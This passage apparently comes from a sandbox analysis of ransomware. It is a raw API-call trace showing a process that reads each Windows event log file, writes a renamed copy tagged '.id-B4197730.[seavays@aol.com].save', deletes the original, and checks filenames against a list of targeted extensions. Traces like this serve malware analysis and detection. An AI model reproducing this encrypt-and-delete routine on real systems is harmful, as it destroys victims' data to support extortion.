(lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0063.445] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0063.445] CloseHandle (hObject=0x37c) returned 1 [0063.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0063.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0063.446] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.446] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.446] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0064.044] GetLastError () returned 0x0 [0064.044] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.047] WriteFile (in: hFile=0x388, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.049] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.049] WriteFile (in: hFile=0x388, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x122, lpOverlapped=0x0) returned 1 [0064.049] SetEndOfFile (hFile=0x388) returned 1 [0064.050] CloseHandle (hObject=0x388) returned 1 [0064.052] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.052] SetEndOfFile (hFile=0x37c) returned 1 [0064.053] CloseHandle (hObject=0x37c) returned 1 [0064.053] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.053] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0064.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.054] lstrlenW (lpString=".doc") returned 4 [0064.054] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString=".docx") returned 5 [0064.054] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.054] lstrlenW (lpString=".pdf") returned 4 [0064.054] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString=".xls") returned 4 [0064.054] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString=".xlsx") returned 5 [0064.054] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.054] lstrlenW (lpString=".ppt") returned 4 [0064.054] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.054] lstrlenW (lpString=".zip") returned 4 [0064.054] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString=".rar") returned 4 [0064.054] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString=".bz2") returned 4 [0064.054] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.054] lstrlenW (lpString=".7z") returned 3 [0064.054] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.054] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.054] lstrlenW (lpString=".dbf") returned 4 [0064.055] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.055] lstrlenW (lpString=".1cd") returned 4 [0064.055] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.055] lstrlenW (lpString=".jpg") returned 4 [0064.055] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.055] lstrlenW (lpString=".doc") returned 4 [0064.055] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString=".docx") returned 5 [0064.055] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.055] lstrlenW (lpString=".pdf") returned 4 [0064.055] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString=".xls") returned 4 [0064.055] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString=".xlsx") returned 5 [0064.055] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.055] lstrlenW (lpString=".ppt") returned 4 [0064.055] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.055] lstrlenW (lpString=".zip") returned 4 [0064.055] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString=".rar") returned 4 [0064.055] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString=".bz2") returned 4 [0064.055] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.055] lstrlenW (lpString=".7z") returned 3 [0064.055] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.056] lstrlenW (lpString=".dbf") returned 4 [0064.056] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.056] lstrlenW (lpString=".1cd") returned 4 [0064.056] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.056] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0064.056] lstrlenW (lpString=".jpg") returned 4 [0064.056] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.056] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.056] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0064.056] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0064.057] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0064.057] CloseHandle (hObject=0x37c) returned 1 [0064.057] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0064.057] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.058] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0064.058] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.058] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.058] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0064.058] GetLastError () returned 0x0 [0064.058] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.061] WriteFile (in: hFile=0x388, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.063] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.063] WriteFile (in: hFile=0x388, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x168, lpOverlapped=0x0) returned 1 [0064.063] SetEndOfFile (hFile=0x388) returned 1 [0064.063] CloseHandle (hObject=0x388) returned 1 [0064.065] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.065] SetEndOfFile (hFile=0x37c) returned 1 [0064.066] CloseHandle (hObject=0x37c) returned 1 [0064.066] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.067] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0064.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.067] lstrlenW (lpString=".doc") returned 4 [0064.067] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString=".docx") returned 5 [0064.067] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.067] lstrlenW (lpString=".pdf") returned 4 [0064.067] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString=".xls") returned 4 [0064.067] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString=".xlsx") returned 5 [0064.067] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.067] lstrlenW (lpString=".ppt") returned 4 [0064.067] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.067] lstrlenW (lpString=".zip") returned 4 [0064.067] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString=".rar") returned 4 [0064.067] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString=".bz2") returned 4 [0064.067] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.067] lstrlenW (lpString=".7z") returned 3 [0064.068] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.068] lstrlenW (lpString=".dbf") returned 4 [0064.068] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.068] lstrlenW (lpString=".1cd") returned 4 [0064.068] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.068] lstrlenW (lpString=".jpg") returned 4 [0064.068] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.068] lstrlenW (lpString=".doc") returned 4 [0064.069] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.069] lstrlenW (lpString=".docx") returned 5 [0064.069] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.069] lstrlenW (lpString=".pdf") returned 4 [0064.069] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.069] lstrlenW (lpString=".xls") returned 4 [0064.069] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.069] lstrlenW (lpString=".xlsx") returned 5 [0064.069] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.070] lstrlenW (lpString=".ppt") returned 4 [0064.070] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.070] lstrlenW (lpString=".zip") returned 4 [0064.070] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.070] lstrlenW (lpString=".rar") returned 4 [0064.070] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.070] lstrlenW (lpString=".bz2") returned 4 [0064.070] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.070] lstrlenW (lpString=".7z") returned 3 [0064.070] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.070] lstrlenW (lpString=".dbf") returned 4 [0064.070] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.070] lstrlenW (lpString=".1cd") returned 4 [0064.070] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.070] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0064.070] lstrlenW (lpString=".jpg") returned 4 [0064.070] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.070] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.070] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0064.070] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0064.071] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0064.071] CloseHandle (hObject=0x37c) returned 1 [0064.071] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0064.071] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.071] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0064.071] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.071] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.071] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0064.075] GetLastError () returned 0x0 [0064.075] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.079] WriteFile (in: hFile=0x388, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.670] ReadFile (in: hFile=0x37c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.670] WriteFile (in: hFile=0x388, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x130, lpOverlapped=0x0) returned 1 [0064.670] SetEndOfFile (hFile=0x388) returned 1 [0064.671] CloseHandle (hObject=0x388) returned 1 [0064.673] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.673] SetEndOfFile (hFile=0x37c) returned 1 [0064.674] CloseHandle (hObject=0x37c) returned 1 [0064.674] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.675] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0065.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.034] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString=".doc") returned 4 [0065.035] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString=".docx") returned 5 [0065.035] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.035] lstrlenW (lpString=".pdf") returned 4 [0065.035] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString=".xls") returned 4 [0065.035] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString=".xlsx") returned 5 [0065.035] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.035] lstrlenW (lpString=".ppt") returned 4 [0065.035] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString=".zip") returned 4 [0065.035] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString=".rar") returned 4 [0065.035] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString=".bz2") returned 4 [0065.035] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString=".7z") returned 3 [0065.035] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString=".dbf") returned 4 [0065.035] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString=".1cd") returned 4 [0065.035] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString=".jpg") returned 4 [0065.035] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.035] lstrlenW (lpString=".doc") returned 4 [0065.036] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString=".docx") returned 5 [0065.036] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.036] lstrlenW (lpString=".pdf") returned 4 [0065.036] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString=".xls") returned 4 [0065.036] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString=".xlsx") returned 5 [0065.036] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.036] lstrlenW (lpString=".ppt") returned 4 [0065.036] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.036] lstrlenW (lpString=".zip") returned 4 [0065.036] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString=".rar") returned 4 [0065.036] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString=".bz2") returned 4 [0065.036] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString=".7z") returned 3 [0065.036] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.036] lstrlenW (lpString=".dbf") returned 4 [0065.036] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.036] lstrlenW (lpString=".1cd") returned 4 [0065.036] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0065.036] lstrlenW (lpString=".jpg") returned 4 [0065.036] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.036] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.037] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0065.037] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.205] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0065.205] CloseHandle (hObject=0x368) returned 1 [0065.205] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0065.205] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.205] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.205] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.205] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.205] CreateFileW 